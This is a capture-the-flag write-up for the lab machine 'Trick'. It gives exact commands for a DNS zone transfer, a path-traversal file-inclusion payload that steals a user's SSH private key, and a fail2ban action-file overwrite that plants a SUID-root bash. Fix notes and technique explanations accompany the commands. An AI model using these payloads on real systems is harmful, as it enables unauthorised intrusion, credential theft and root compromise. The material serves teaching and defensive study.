Trick
Summary
Scanning the target found an nginx web server hosting two virtual hostnames on the same IP address. A DNS misconfiguration disclosed the existence of a hidden pre-production marketing subdomain, which ran a PHP application whose file-routing parameter was vulnerable to path traversal. That read-any-file capability was turned against the developer account's unencrypted SSH private key, giving me an interactive shell.
Once inside, two compounding misconfigurations sealed my path to root: the developer account belonged to a group that could write to the directory holding fail2ban's action scripts, and that same account could restart fail2ban as root without a password. By replacing a stock action definition with one that stamps a SUID-root copy of bash onto disk, then restarting the daemon, I created a permanent root-level entry point — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
Service-version scan; widen -p range for a more thorough sweep.
$ nmap -Pn -sV -p 22,25,53,80 --script=http-title,banner $TARGETExact commands 2
Full zone transfer; lists all DNS records including preprod-marketing.trick.htb.
$ dig axfr trick.htb @$TARGETAdd both vhosts to local resolution before browsing.
$ echo "$TARGET trick.htb preprod-marketing.trick.htb" | sudo tee -a /etc/hostsFixRestrict DNS zone transfers to authorised secondary name servers onlyMedium
Exact commands 1
Verify traversal; a successful response contains root:x:0:0 at the top.
$ curl -sS 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'FixFix the path-traversal Local File Inclusion in the marketing applicationCritical
Exact commands 3
Download michael's private key via the LFI.
$ curl -sS 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa' -o /tmp/trick-michael_id_rsaSSH client requires strict key-file permissions.
$ chmod 600 /tmp/trick-michael_id_rsaAuthenticate as michael and read the user flag; actual -> <user.txt>
$ ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'id; cat /home/michael/user.txt'
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)Exact commands 1
Confirm the sudo rule and group membership in a single SSH command.
$ ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'sudo -l; id; ls -ld /etc/fail2ban/action.d'
(root) NOPASSWD: /etc/init.d/fail2ban restartExact commands 2
Write the malicious action file; overwrites the stock iptables-multiport action.
$ ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'cat > /etc/fail2ban/action.d/iptables-multiport.conf <<"EOF"
[Definition]
actionstart = /usr/bin/install -m 4755 -o root -g root /bin/bash /tmp/rootbash
actionstop =
actioncheck =
actionban =
actionunban =
EOF'Restart fail2ban as root (NOPASSWD); daemon executes actionstart as root and creates /tmp/rootbash with SUID bit.
$ ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'sudo /etc/init.d/fail2ban restart'FixRemove group-write access from /etc/fail2ban/action.d and tighten the sudo ruleCritical
Exact commands 1
Verify SUID bit then spawn a root shell; replace actual flag content with <root.txt>.
$ ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'ls -la /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'
euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 25/tcp | smtp recon-sweep-discovered |
| 53/tcp | domain |
| 80/tcp | http nginx 1.14.2 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.